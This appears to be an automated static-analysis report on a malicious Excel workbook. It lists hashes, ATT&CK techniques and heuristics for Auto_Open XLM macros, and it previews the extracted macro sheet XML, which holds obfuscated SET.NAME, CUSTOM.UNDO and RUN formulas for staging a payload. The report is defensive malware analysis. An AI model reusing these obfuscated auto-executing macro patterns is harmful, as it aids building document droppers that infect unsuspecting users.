Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 19cd2ea000f32aa5…

MALICIOUS

Office (OOXML)

126.8 KB Created: 2020-06-24 17:08:55 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-07
MD5: 4aeb45391b0c9d215da625c9344bef11 SHA-1: 02f46888fe69857fefbc3bb9bb60ee19310a7083 SHA-256: 19cd2ea000f32aa5321497c70e7e7ea1efb288332297246a3cd014d9c3e829cb
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains critical heuristics indicating the presence of Excel 4.0 macros, specifically using dangerous functions like RUN and CALL. These macros are designed to download and execute a second-stage payload, as evidenced by the SET.NAME function attempting to construct a complex string. The VBA project appears to be minimal and likely serves to facilitate the execution of the XLM macros.

Heuristics 6

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: RUN, RETURN, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • VBA project inside OOXML medium OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 14 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 717 bytes
SHA-256: be23b65a6fa29680599137f837eec0639785801749f6f7877198f0531b8d3b52
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub RectangleRoundedCorners5_Click()
    Selection.Font.Bold = True
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 12800 bytes
SHA-256: ec6830e1b624931f1dad16c79818710687e1ac109990873b15beeff6ccd57224
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 46149 bytes
SHA-256: 24c3d138f82e5064b1b72bec2d30b00cb6c46dbbb0630d88ded8d54f3d08ffee
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="A65:IO59987"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="14.5" x14ac:dyDescent="0.35"/><sheetData><row r="65" spans="65:65" x14ac:dyDescent="0.35"><c r="BM65"><v>1146</v></c></row><row r="66" spans="65:65" x14ac:dyDescent="0.35"><c r="BM66"><v>178</v></c></row><row r="181" spans="136:136" x14ac:dyDescent="0.35"><c r="EF181" t="s"><v>13</v></c></row><row r="337" spans="146:146" x14ac:dyDescent="0.35"><c r="EP337" t="s"><v>13</v></c></row><row r="832" spans="143:143" x14ac:dyDescent="0.35"><c r="EM832" t="s"><v>1</v></c></row><row r="862" spans="47:47" x14ac:dyDescent="0.35"><c r="AU862" t="s"><v>26</v></c></row><row r="987" spans="169:169" x14ac:dyDescent="0.35"><c r="FM987" t="s"><v>20</v></c></row><row r="1146" spans="178:178" x14ac:dyDescent="0.35"><c r="FV1146" t="b"><f>SET.NAME("lpPEBuNKhDbhd",$H$8673&amp;$GF$2236&amp;$IG$43341&amp;$AH$47743&amp;$FC$15457&amp;$BB$1211&amp;$FV$50507&amp;$AX$59265&amp;$BK$57576&amp;$HI$21042&amp;$HZ$50035&amp;$HC$19130&amp;$BK$41040&amp;$FM$45790&amp;$CF$29769&amp;$BD$44224&amp;$FQ$48743&amp;$EA$18083&amp;$FL$39469&amp;$CD$4800&amp;$BI$47295&amp;$CF$6106&amp;$HR$14104&amp;$FH$40999&amp;$EW$9655&amp;$CQ$56009)</f><v>0</v></c></row><row r="1147" spans="178:178" x14ac:dyDescent="0.35"><c r="FV1147" t="b"><f>SET.NAME("psHcenxsVlEYr",$BB$54)</f><v>0</v></c></row><row r="1148" spans="178:178" x14ac:dyDescent="0.35"><c r="FV1148" t="b"><f>CUSTOM.UNDO(oeK(),"Za")</f><v>0</v></c></row><row r="1149" spans="178:178" x14ac:dyDescent="0.35"><c r="FV1149" t="b"><f>RUN($CA$54563)</f><v>0</v></c></row><row r="1211" spans="54:54" x14ac:dyDescent="0.35"><c r="BB1211" t="s"><v>4</v></c></row><row r="1475" spans="108:108" x14ac:dyDescent="0.35"><c r="DD1475" t="s"><v>22</v></c></row><row r="1557" spans="118:240" x14ac:dyDescent="0.35"><c r="IF1557" t="s"><v>43</v></c></row><row r="1568" spans="118:240" x14ac:dyDescent="0.35"><c r="DN1568" t="s"><v>28</v></c></row><row r="1839" spans="60:60" x14ac:dyDescent="0.35"><c r="BH1839" t="s"><v>11</v></c></row><row r="1865" spans="41:41" x14ac:dyDescent="0.35"><c r="AO1865" t="s"><v>40</v></c></row><row r="1949" spans="53:53" x14ac:dyDescent="0.35"><c r="BA1949" t="s"><v>11</v></c></row><row r="1958" spans="245:245" x14ac:dyDescent="0.35"><c r="IK1958" t="b"><f>SET.NAME("lpPEBuNKhDbhd",$BB$28575&amp;$AM$31167&amp;$CF$32864&amp;$EC$34221&amp;$DR$25511&amp;$AK$35324&amp;$HA$32369&amp;$DE$27208)</f><v>0</v></c></row><row r="1959" spans="245:245" x14ac:dyDescent="0.35"><c r="IK1959" t="b"><f>SET.NAME("psHcenxsVlEYr",$DG$38374)</f><v>0</v></c></row><row r="1960" spans="245:245" x14ac:dyDescent="0.35"><c r="IK1960" t="b"><f>CUSTOM.UNDO(oeK(),"y")</f><v>0</v></c></row><row r="1961" spans="245:245" x14ac:dyDescent="0.35"><c r="IK1961" t="b"><f>RUN($ET$33561)</f><v>0</v></c></row><row r="2089" spans="12:12" x14ac:dyDescent="0.35"><c r="L2089" t="s"><v>9</v></c></row><row r="2236" spans="188:188" x14ac:dyDescent="0.35"><c r="GF2236" t="s"><v>1</v></c></row><row r="2322" spans="63:63" x14ac:dyDescent="0.35"><c r="BK2322" t="s"><v>0</v></c></row><row r="2510" spans="161:161" x14ac:dyDescent="0.35"><c r="FE2510" t="s"><v>31</v></c></row><row r="2903" spans="242:242" x14ac:dyDescent="0.35"><c r="IH2903" t="s"><v>25</v></c></row><row r="3157" spans="73:73" x14ac:dyDescent="0.35"><c r="BU3157" t="b"><f>SET.NAME("lpPEBuNKhDbhd",$FB$56567&amp;$FA$33372&amp;$FM$28532&amp;$DA$44380&amp;$CH$14532&amp;$FV$14210)</f><v>0</v></c></row><row r="3158" spans="73:73" x14ac:dyDescent="0.35"><c r="BU3158" t="b"><f>SET.NAME("psHcenxsVlEYr",$AH$15461)</f><v>0</v></c></row><row r="31
... (truncated)